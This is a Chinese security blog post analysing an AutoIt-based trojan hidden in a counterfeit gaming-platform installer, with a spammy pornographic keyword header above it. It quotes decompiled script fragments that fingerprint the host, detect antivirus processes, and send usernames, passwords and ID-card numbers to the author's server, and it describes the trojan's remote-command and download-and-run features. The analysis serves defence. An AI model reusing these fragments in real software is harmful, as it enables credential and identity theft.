亚洲日本免费-啊轻点灬太粗太长了三男一女-麻豆av电影在线观看-日韩一级片毛片|www.grbbt.com

百足之蟲(chóng)死而不僵:Auto456家族木馬的死灰復(fù)燃

  就在今年上半年,456游戲大廳還是金錢(qián)的代名詞。一個(gè)看起來(lái)并不起眼的游戲平臺(tái),注冊(cè)用戶卻達(dá)2000余萬(wàn),每天獲利最高可達(dá)100余萬(wàn)。這樣的一個(gè)游戲大廳,必然是各路木馬的兵家必爭(zhēng)之地。于是針對(duì)456游戲大廳的各種盜號(hào)木馬、遠(yuǎn)控木馬也都層出不窮。作為一家互聯(lián)網(wǎng)安全公司,我們當(dāng)然也是一直在和各類木馬作者不斷地對(duì)抗。怎奈金錢(qián)的利益太過(guò)誘人,雖然被我們步步緊逼,但木馬作者卻也從未停止過(guò)自己的腳步。

  但到今年4月16日,有關(guān)456游戲的一切活動(dòng)戛然而止……

  溫州龍灣警方將這宗涉案金額堪比全省一年GDP的特大網(wǎng)絡(luò)開(kāi)設(shè)賭場(chǎng)案破獲,涉案人員被抓,456游戲大廳也正式宣告倒臺(tái)。皮之不存,毛將焉附——依附于456游戲存在的無(wú)數(shù)木馬作者也都跟著銷(xiāo)聲匿跡了。我們這些互聯(lián)網(wǎng)安全工作者們仿佛也可以松一口氣了。

  似曾相識(shí)

  近日接到用戶舉報(bào)說(shuō)搜索的時(shí)候遇到了一個(gè)虛假的670游戲大廳,我們便按照用戶的描述找到了這個(gè)游戲大廳

  而一打開(kāi)這個(gè)所謂的“670游戲”的主頁(yè),我就感覺(jué)不對(duì)勁了——這不就是456游戲大廳的主頁(yè)嗎?

  將主頁(yè)頁(yè)面上掛的游戲平臺(tái)下載回來(lái)之后安裝……果然——除了改了幾個(gè)標(biāo)題之外,Game456和456游戲的名字還是隨處可見(jiàn)

  安裝完成后,會(huì)在桌面上生成一個(gè)“670游戲大廳”的快捷方式。——直到此時(shí),這個(gè)程序還僅僅只是停留在一個(gè)簡(jiǎn)單的“山寨456游戲大廳”的層面,并沒(méi)有實(shí)質(zhì)的惡意行為。

  詭異的快捷方式

  點(diǎn)開(kāi)該快捷方式的屬性,乍一看去仿佛還挺正常,但習(xí)慣性的用鼠標(biāo)圈了一下“目標(biāo)”一欄——怎么這么長(zhǎng)!遂將完整目標(biāo)路徑復(fù)制下來(lái):

  “C:Program FilesKaiLian Tech670游戲UpdatLobby.exe” plat.mod “C:Program FilesKaiLian Tech670游戲Lobby.exe”

  定位到目標(biāo)文件,是一個(gè)隱藏的UploadLobby.exe程序,參數(shù)則是同樣隱藏的Plat.mod文件和真正的游戲大廳主程序lobby.exe

  驚現(xiàn)Auto456

  UpdatLobby.exe這個(gè)程序帶有數(shù)字簽名“AutoIt Consulting Ltd”。

  看到這相信很多人都明白了——這是一個(gè)AutoIt的解釋器——用于解釋用AutoIt語(yǔ)言寫(xiě)成的自動(dòng)化腳本。那么很顯然,他指向的Plat.mod就是一個(gè)自動(dòng)化腳本。

  不出意料,這個(gè)腳本是經(jīng)過(guò)編碼的,也就是一個(gè)a3x腳本,我們用工具將其轉(zhuǎn)為文本的au3文本——一個(gè)多大1800余行的腳本出現(xiàn)在我的眼前。

  同樣不出意料的,我在腳本中看到了這樣的一個(gè)久違的變量名——”456exepath”:

  而這種利用AutoIt執(zhí)行惡意代碼的手法在456游戲的時(shí)代就曾經(jīng)出現(xiàn)過(guò)——我們稱其為“Auto456”。

  腳本分析

  觀其1800余行的腳本,封裝了大量的WinAPI和GDI+函數(shù)。也正是依賴大量的WinAPI的調(diào)用,這個(gè)AutoIt的腳本實(shí)現(xiàn)了一個(gè)原本應(yīng)該是經(jīng)過(guò)編譯的可執(zhí)行程序才會(huì)有的強(qiáng)大功能。(以下僅列出其中部分)

  func _winapi_createcompatiblebitmap($hdc, $iwidth, $iheight)

  local $aresult = dllcall("gdi32.dll", "handle", "createcompatiblebitmap", "handle", $hdc, "int", $iwidth, "int", $iheight)

  if @error then return seterror(@error, @extended, 0x00000000)

  return $aresult [0x00000000 ]

  endfunc

  func _winapi_createcompatibledc($hdc)

  local $aresult = dllcall("gdi32.dll", "handle", "createcompatibledc", "handle", $hdc)

  if @error then return seterror(@error, @extended, 0x00000000)

  return $aresult [0x00000000 ]

  endfunc

  func _winapi_deletedc($hdc)

  local $aresult = dllcall("gdi32.dll", "bool", "deletedc", "handle", $hdc)

  if @error then return seterror(@error, @extended, false)

  return $aresult [0x00000000 ]

  endfunc

  func _winapi_deleteobject($hobject)

  local $aresult = dllcall("gdi32.dll", "bool", "deleteobject", "handle", $hobject)

  if @error then return seterror(@error, @extended, false)

  return $aresult [0x00000000 ]

  endfunc

  func _winapi_getdc($hwnd)

  local $aresult = dllcall("user32.dll", "handle", "getdc", "hwnd", $hwnd)

  if @error then return seterror(@error, @extended, 0x00000000)

  return $aresult [0x00000000 ]

  endfunc

  ……

  func _gdiplus_encodersgetclsid($sfileext)

  local $aencoders = _gdiplus_encoders()

  for $ii = 0x00000001 to $aencoders [0x00000000 ][0x00000000 ]

  if stringinstr($aencoders [$ii ][0x00000006 ], "*."& $sfileext) > 0x00000000 then return $aencoders [$ii ][0x00000001 ]

  next

  return seterror(- 0x00000001, -0x00000001, "")

  endfunc

  func _gdiplus_encodersgetcount()

  local $aresult = dllcall($ghgdipdll, "int", "gdipgetimageencoderssize", "uint*", 0x00000000, "uint*", 0x00000000)

  if @error then return seterror(@error, @extended, -0x00000001)

  return setextended($aresult [0x00000000 ], $aresult [0x00000001 ])

  endfunc

  func _gdiplus_encodersgetsize()

  local $aresult = dllcall($ghgdipdll, "int", "gdipgetimageencoderssize", "uint*", 0x00000000, "uint*", 0x00000000)

  if @error then return seterror(@error, @extended, -0x00000001)

  return setextended($aresult [0x00000000 ], $aresult [0x00000002 ])

  endfunc

  腳本一開(kāi)始便給出了作者的遠(yuǎn)程服務(wù)器域名,但看起來(lái)很亂:

  global $ymdqz = "nat.game670.com-hell.game670.com_download.game670.com."

  global $zydfwq = "new670.yx****.com"

  global $bydfwq = "news670.ggy****.com"

  global $ymdbh = "sina670."

  但其實(shí)里面只有兩個(gè)域名“yx****.com”和“ggy****.com”(處于安全考慮,隱去了域名中的部分字符)。而其他部分則都是這兩個(gè)真實(shí)域名下屬的子域名。猜測(cè)是用來(lái)迷惑和誤導(dǎo)分析人員的。

  然后就是收集用戶當(dāng)前的信息

  比如本地IP(注釋為本文作者添加,下同)

  ; 獲取本地IP地址

  global $ipadqz = stringleft(@ipaddress1, 0x00000003)

  if $ipadqz == "192"or $ipadqz == "0.1"or $ipadqz == "169"or $ipadqz == "10."or $ipadqz == "172"then

  $hzxx = "|"& @ipaddress1 & "|"& @computername

  else

  $hzxx = "|1.1.1.1|"& @computername

  endif

  檢查用戶機(jī)器上是否有正在運(yùn)行的安全軟件

  ; 檢查進(jìn)程

  if processexists("360tray.exe") or processexists("ksafetray.exe") or processexists("qqpctray.exe") then

  $sysppbb = 0x00000001

  $lj = 0x00000001

  _ljwini()

  endif

  $user2 = ""

  sleep(0x00000457)

  tcpstartup()

  ; 檢查安全軟件

  ; 檢查是否存在360

  if processexists("360tray.exe") then

  $sdxx = "“有360"

  else

  $sdxx = ""

  endif

  ; 檢查是否存在金山

  if processexists("ksafetray.exe") then

  if $sdxx <> ""then

  $sdxx &= "_金山"

  else

  $sdxx = "“有金山"

  endif

  endif

  ; 檢查是否存在冰點(diǎn)還原

  if processexists("df5serv.exe") then

  if $sdxx <> ""then

  $sdxx &= "_冰點(diǎn)"

  else

  $sdxx = "“有冰點(diǎn)"

  endif

  endif

  集到這些信息之后會(huì)作為第一個(gè)數(shù)據(jù)包打包發(fā)送給木馬作者的收信服務(wù)器,作為記錄。

  收集完這些基礎(chǔ)信息之后,才是病毒的真正主體——一個(gè)長(zhǎng)達(dá)300多行的死循環(huán)。

  正是這個(gè)死循環(huán),在監(jiān)視著用戶的一舉一動(dòng)。

  比如每隔一段時(shí)間(循環(huán)500次)就會(huì)檢查一遍放在桌面上的快捷方式是否正常(是否依然指向病毒),如果不正常了就修復(fù)一下,并通知服務(wù)器修復(fù)了快捷方式。而如果腳本一段時(shí)間內(nèi)(循環(huán)3500次)沒(méi)有發(fā)現(xiàn)你做過(guò)什么有價(jià)值的事情,也會(huì)定點(diǎn)向服務(wù)器報(bào)告一下當(dāng)前置頂?shù)拇翱跇?biāo)題是什么。甚至當(dāng)你需要注冊(cè)的時(shí)候,木馬都會(huì)為你貼心的準(zhǔn)備了幾個(gè)處理過(guò)的窗口貼圖和驗(yàn)證碼圖案……

  當(dāng)然,作者最想要拿到的,必然還是用戶的賬戶登錄信息。更為嚴(yán)重的是——由于此類游戲平臺(tái)涉及大宗的財(cái)務(wù)交易,所以大多都要求登陸的時(shí)候需要輸入本人真實(shí)身份證號(hào)碼用于驗(yàn)證。這樣一來(lái),木馬作者竊取的就不僅僅是游戲資產(chǎn)而已了——也包括了用戶的身份證信息,而這會(huì)牽連出多少其他的個(gè)人隱私數(shù)據(jù),就無(wú)法想象了。

  if $passtemp == "yfsa"and winexists("[class:kailiangame456]") and controlcommand("[class:kailiangame456]", "", "button8", "isenabled", "") == 0x00000001 then

  $passtemp = ""

  if $sfz <> ""and stringlen($sfz) <> 0x00000012 then

  _tcpsdd(_stringencrypt(0x00000001, $user & "||||||sfz-error"& $hzxx))

  $sfz = ""

  endif

  _tcpsdd(_stringencrypt(0x00000001, $user & "|"& $pass & "|"& $sfz & "||||"& $sdxx & $hzxx & "|"& $date))

  endif

  看到這里,如果你以為這是一個(gè)盜號(hào)的自動(dòng)化腳本,那你就錯(cuò)了——除了盜號(hào)功能外,腳本更主要的功能其實(shí)是一個(gè)遠(yuǎn)控。他可以接收來(lái)自木馬作者服務(wù)器的指令,并根據(jù)指令進(jìn)行各種操作

  另外,如果下發(fā)的指令是一個(gè)URL,腳本還會(huì)去下載這個(gè)URL對(duì)應(yīng)的文件到本地執(zhí)行。

  查殺攔截

  由于病毒代碼的執(zhí)行者其實(shí)是AutoIt的解釋器,而這個(gè)解釋器本身并非惡意程序(它只是在逐行的解釋并執(zhí)行腳本里每一條指令而已),并且也有正規(guī)有效的數(shù)字簽名。真正含有惡意代碼的腳本文件卻躲在解釋器的后面,不會(huì)以獨(dú)立進(jìn)程的形式出現(xiàn)在系統(tǒng)中。

  因此導(dǎo)致現(xiàn)在市面上所有的安全軟件中,除360外都無(wú)法正常攔截該木馬。所幸的是得益于和456游戲木馬的長(zhǎng)期對(duì)抗經(jīng)驗(yàn),360對(duì)此類木馬一直是可以有效攔截的

  最后也要提醒大家:久賭無(wú)勝家——無(wú)論是否是木馬,賭博類游戲,我們就應(yīng)該遠(yuǎn)離。

 

上一篇:智能無(wú)懼挑戰(zhàn) 山石網(wǎng)科轟動(dòng)RSA2015

下一篇:Linux內(nèi)核實(shí)現(xiàn)多路鏡像流量聚合和復(fù)制